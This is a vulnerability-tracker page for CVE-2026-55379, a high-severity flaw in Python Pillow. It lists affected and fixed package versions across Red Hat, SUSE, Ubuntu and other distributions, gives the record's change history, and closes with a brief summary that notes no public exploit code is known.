Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python-pillow-debugsource
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python3.11-pillow
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python3.11-pillow-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:12.3.0-1.el8pc
0:12.3.0-1.el8pc
python-pillow
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow-debugsource
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow-debuginfo
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python-pillow-debugsource
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.11-pillow-debuginfo
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
rubygem-faraday
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:1.10.6-1.el8sat
0:1.10.6-1.el8sat
rubygem-faraday
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:1.10.6-1.el8sat
0:1.10.6-1.el8sat
rubygem-faraday
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-faraday
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-nokogiri
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri-debuginfo
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri-debugsource
Red Hat:satellite_capsule:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri-debuginfo
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri-debugsource
Red Hat:satellite:6.16::el8
From an advisory covering 12 CVEs
before 0:1.15.7-3.el8sat
0:1.15.7-3.el8sat
rubygem-nokogiri
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite_capsule:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite:6.16::el9
From an advisory covering 12 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
openvox-agent
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-agent
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:8.24.1-3.el9sat
0:8.24.1-3.el9sat
openvox-server
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
openvox-server
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:8.14.1-1.el9sat
0:8.14.1-1.el9sat
rubygem-katello
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:4.18.0.15-1.el9sat
0:4.18.0.15-1.el9sat
python3.12-pyjwt+crypto
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.12-pyjwt
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.12-pyjwt+crypto
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.12-pyjwt
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:2.13.0-1.el9pc
0:2.13.0-1.el9pc
python3.12-pillow
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debuginfo
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debugsource
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debuginfo
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
python3.12-pillow-debugsource
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:12.3.0-1.el9pc
0:12.3.0-1.el9pc
rubygem-faraday
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-faraday
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:1.10.6-1.el9sat
0:1.10.6-1.el9sat
rubygem-nokogiri
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite_capsule:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debuginfo
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
rubygem-nokogiri-debugsource
Red Hat:satellite:6.18::el9
From an advisory covering 10 CVEs
before 0:1.15.7-3.el9sat
0:1.15.7-3.el9sat
automation-eda-controller
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.1.21-1.el8ap
0:1.1.21-1.el8ap
automation-eda-controller-base
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.1.21-1.el8ap
0:1.1.21-1.el8ap
automation-eda-controller-base-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.1.21-1.el8ap
0:1.1.21-1.el8ap
automation-eda-controller-event-stream-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.1.21-1.el8ap
0:1.1.21-1.el8ap
automation-eda-controller-worker-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.1.21-1.el8ap
0:1.1.21-1.el8ap
automation-eda-controller
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.1.21-1.el9ap
0:1.1.21-1.el9ap
automation-eda-controller-base
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.1.21-1.el9ap
0:1.1.21-1.el9ap
automation-eda-controller-base-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.1.21-1.el9ap
0:1.1.21-1.el9ap
automation-eda-controller-event-stream-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.1.21-1.el9ap
0:1.1.21-1.el9ap
automation-eda-controller-worker-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.1.21-1.el9ap
0:1.1.21-1.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:2.5.10-7.el8ap
0:2.5.10-7.el8ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:3.14.1-2.el8ap
0:3.14.1-2.el8ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:3.14.1-2.el9ap
0:3.14.1-2.el9ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:2.5.10-7.el8ap
0:2.5.10-7.el8ap
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:2.5.10-7.el8ap
0:2.5.10-7.el8ap
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:2.5.10-7.el8ap
0:2.5.10-7.el8ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
receptorctl
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptorctl
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptorctl
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:1.6.7-1.el8ap
0:1.6.7-1.el8ap
receptorctl
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptorctl
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptorctl
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
python3.12-daphne
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:4.2.2-1.el8ap
0:4.2.2-1.el8ap
python3.12-daphne
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:4.2.2-1.el9ap
0:4.2.2-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:4.6.31-1.el8ap
0:4.6.31-1.el8ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:4.6.31-1.el9ap
0:4.6.31-1.el9ap
python3.12-pillow
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:12.3.0-1.el8ap
0:12.3.0-1.el8ap
python3.12-pillow
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:12.3.0-1.el9ap
0:12.3.0-1.el9ap
python3.12-pyasn1
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 17 CVEs
before 0:0.6.4-1.el8ap
0:0.6.4-1.el8ap
python3.12-pyasn1
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 17 CVEs
before 0:0.6.4-1.el9ap
0:0.6.4-1.el9ap
automation-eda-controller
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.2.11-1.el9ap
0:1.2.11-1.el9ap
automation-eda-controller-base
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.2.11-1.el9ap
0:1.2.11-1.el9ap
automation-eda-controller-base-services
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.2.11-1.el9ap
0:1.2.11-1.el9ap
automation-eda-controller-event-stream-services
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.2.11-1.el9ap
0:1.2.11-1.el9ap
automation-eda-controller-worker-services
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.2.11-1.el9ap
0:1.2.11-1.el9ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:2.6.17-2.el9ap
0:2.6.17-2.el9ap
python3.12-aiohttp
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:3.14.1-2.el9ap
0:3.14.1-2.el9ap
python3.12-aiohttp-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:3.14.1-2.el9ap
0:3.14.1-2.el9ap
python3.12-aiohttp-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:3.14.1-2.el9ap
0:3.14.1-2.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 17 CVEs
before 0:1.6.7-1.el10ap
0:1.6.7-1.el10ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 17 CVEs
before 0:1.6.7-1.el10ap
0:1.6.7-1.el10ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 17 CVEs
before 0:1.6.7-1.el10ap
0:1.6.7-1.el10ap
receptorctl
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 17 CVEs
before 0:1.6.7-1.el10ap
0:1.6.7-1.el10ap
receptor
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptorctl
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptorctl
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
receptorctl
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:1.6.7-1.el9ap
0:1.6.7-1.el9ap
python3.12-daphne
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:4.2.2-1.el9ap
0:4.2.2-1.el9ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 17 CVEs
before 0:4.7.15-2.el9ap
0:4.7.15-2.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 17 CVEs
before 0:4.7.15-2.el9ap
0:4.7.15-2.el9ap
automation-controller
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 17 CVEs
before 0:4.7.15-2.el9ap
0:4.7.15-2.el9ap
python-pillow
Rocky Linux:8
From an advisory covering 4 CVEs
before 0:5.1.1-22.el8_10
0:5.1.1-22.el8_10
pillow
Root:PyPI
before 11.1.0+aikido.9
11.1.0+aikido.911.2.1+aikido.49.5.0+aikido.99.5.0+aikido.1011.1.0+aikido.1010.3.0+aikido.1211.2.1+aikido.59.5.0+aikido.1112.2.0+aikido.59.3.0+aikido.1310.4.0+aikido.1112.1.0+aikido.1211.2.1+aikido.611.1.0+aikido.1110.3.0+aikido.1311.0.0+aikido.1011.2.1+aikido.79.3.0+aikido.1411.1.0+aikido.129.5.0+aikido.1212.2.0+aikido.610.4.0+aikido.129.3.0+aikido.1511.1.0+aikido.1312.1.0+aikido.1310.3.0+aikido.1411.0.0+aikido.119.3.0+aikido.1610.3.0+aikido.1510.4.0+aikido.139.3.0+aikido.179.5.0+aikido.1311.2.1+aikido.811.0.0+aikido.1211.1.0+aikido.1412.1.0+aikido.1412.2.0+aikido.710.3.0+aikido.1610.4.0+aikido.1411.1.0+aikido.1511.2.1+aikido.910.2.0+aikido.112.2.0+aikido.89.0.1+aikido.110.4.0+aikido.1512.1.0+aikido.159.0.1+aikido.210.3.0+aikido.178.0.1+aikido.111.0.0+aikido.139.5.0+aikido.148.1.2+aikido.18.0.1+aikido.210.4.0+aikido.1610.1.0+aikido.110.0.0+aikido.110.3.0+aikido.1810.2.0+aikido.210.3.0+aikido.1910.4.0+aikido.1710.3.0+aikido.208.2.0+aikido.19.4.0+aikido.19.0.0+aikido.19.0.0+aikido.211.0.0+aikido.147.0.0+aikido.27.0.0+aikido.312.2.0+aikido.99.5.0+aikido.159.5.0+aikido.169.5.0+aikido.179.5.0+aikido.189.5.0+aikido.1910.4.0+aikido.18
python-Pillow
SUSE:Linux Enterprise Server 16.0
From an advisory covering 5 CVEs
before 11.3.0-160000.6.1
11.3.0-160000.6.1
python-Pillow
SUSE:Linux Enterprise Server for SAP applications 16.0
From an advisory covering 5 CVEs
before 11.3.0-160000.6.1
11.3.0-160000.6.1
python-Pillow
SUSE:Linux Enterprise Module for Package Hub 15 SP7
From an advisory covering 4 CVEs
before 7.2.0-150300.3.27.1
7.2.0-150300.3.27.1
python-Pillow
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
python-Pillow
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 11 CVEs
before 9.5.0-150400.5.25.1
9.5.0-150400.5.25.1
pillow
Ubuntu:Pro:14.04:LTS
All versions, plus listed versions
2.2.1-1ubuntu22.2.1-2ubuntu12.2.1-3ubuntu22.2.1-3ubuntu32.2.1-3ubuntu4
Show 12 moreShow less
2.2.1-3ubuntu62.3.0-1ubuntu12.3.0-1ubuntu22.3.0-1ubuntu32.3.0-1ubuntu3.22.3.0-1ubuntu3.32.3.0-1ubuntu3.42.3.0-1ubuntu3.4+esm12.3.0-1ubuntu3.4+esm22.3.0-1ubuntu3.4+esm32.3.0-1ubuntu3.4+esm42.3.0-1ubuntu3.4+esm5
None known
pillow
Ubuntu:Pro:16.04:LTS
All versions, plus listed versions
2.9.0-13.0.0-13.0.0-1build13.1.0-13.1.1-1
Show 9 moreShow less
3.1.2-0ubuntu13.1.2-0ubuntu1.13.1.2-0ubuntu1.33.1.2-0ubuntu1.43.1.2-0ubuntu1.53.1.2-0ubuntu1.63.1.2-0ubuntu1.6+esm13.1.2-0ubuntu1.6+esm23.1.2-0ubuntu1.6+esm3
None known
pillow
Ubuntu:Pro:18.04:LTS
All versions, plus listed versions
4.1.1-3build24.3.0-2ubuntu15.0.0-15.1.0-15.1.0-1ubuntu0.2
Show 8 moreShow less
5.1.0-1ubuntu0.35.1.0-1ubuntu0.45.1.0-1ubuntu0.55.1.0-1ubuntu0.65.1.0-1ubuntu0.75.1.0-1ubuntu0.85.1.0-1ubuntu0.8+esm15.1.0-1ubuntu0.8+esm2
None known
pillow
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.1.0-16.1.0-1build16.2.1-27.0.0-47.0.0-4build1
Show 10 moreShow less
7.0.0-4ubuntu0.17.0.0-4ubuntu0.27.0.0-4ubuntu0.37.0.0-4ubuntu0.47.0.0-4ubuntu0.57.0.0-4ubuntu0.67.0.0-4ubuntu0.77.0.0-4ubuntu0.87.0.0-4ubuntu0.97.0.0-4ubuntu0.9+esm1
None known
pillow-python2
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
6.2.1-3~build16.2.1-36.2.1-3ubuntu0.1~esm16.2.1-3ubuntu0.1~esm2
None known
pillow
Ubuntu:22.04:LTS
before 9.0.1-1ubuntu0.6, plus listed versions
8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1
Show 4 moreShow less
9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5
9.0.1-1ubuntu0.6
pillow
Ubuntu:24.04:LTS
before 10.2.0-1ubuntu1.4, plus listed versions
10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3
10.2.0-1ubuntu1.4
pillow
Ubuntu:26.04:LTS
before 12.1.1-2ubuntu1.4, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3
12.1.1-2ubuntu1.4
pillow
Ubuntu:22.04:LTS
From an advisory covering 11 CVEs
before 9.0.1-1ubuntu0.6, plus listed versions
8.1.2+dfsg-0.39.0.0-19.0.1-19.0.1-1build19.0.1-1ubuntu0.1
Show 4 moreShow less
9.0.1-1ubuntu0.29.0.1-1ubuntu0.39.0.1-1ubuntu0.49.0.1-1ubuntu0.5
9.0.1-1ubuntu0.6
pillow
Ubuntu:24.04:LTS
From an advisory covering 11 CVEs
before 10.2.0-1ubuntu1.4, plus listed versions
10.0.0-110.1.0-110.2.0-110.2.0-1build110.2.0-1ubuntu110.2.0-1ubuntu1.210.2.0-1ubuntu1.3
10.2.0-1ubuntu1.4
pillow
Ubuntu:26.04:LTS
From an advisory covering 11 CVEs
before 12.1.1-2ubuntu1.4, plus listed versions
11.3.0-1ubuntu111.3.0-1ubuntu212.0.0-1ubuntu112.1.1-1ubuntu112.1.1-2ubuntu112.1.1-2ubuntu1.112.1.1-2ubuntu1.212.1.1-2ubuntu1.3
12.1.1-2ubuntu1.4
python-Pillow
openSUSE:Tumbleweed
From an advisory covering 24 CVEs
before 12.3.0-1.1
12.3.0-1.1
python-Pillow
openSUSE:Leap 16.0
From an advisory covering 5 CVEs
before 11.3.0-160000.6.1
11.3.0-160000.6.1

History

History
RecordedChangedSources
affectedOSV
affected
affectedOSV
affected, aliases, referencesOSV
affectedOSV
affectedOSV
affectedOSV
affectedOSV
affected, factsOSV
affectedOSV
affectedOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55379 is a high vulnerability (CVSS 7.5) in Python Pillow, published July 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in pillow 12.3.0.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 20 package rows, 56 versions, 74 references and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open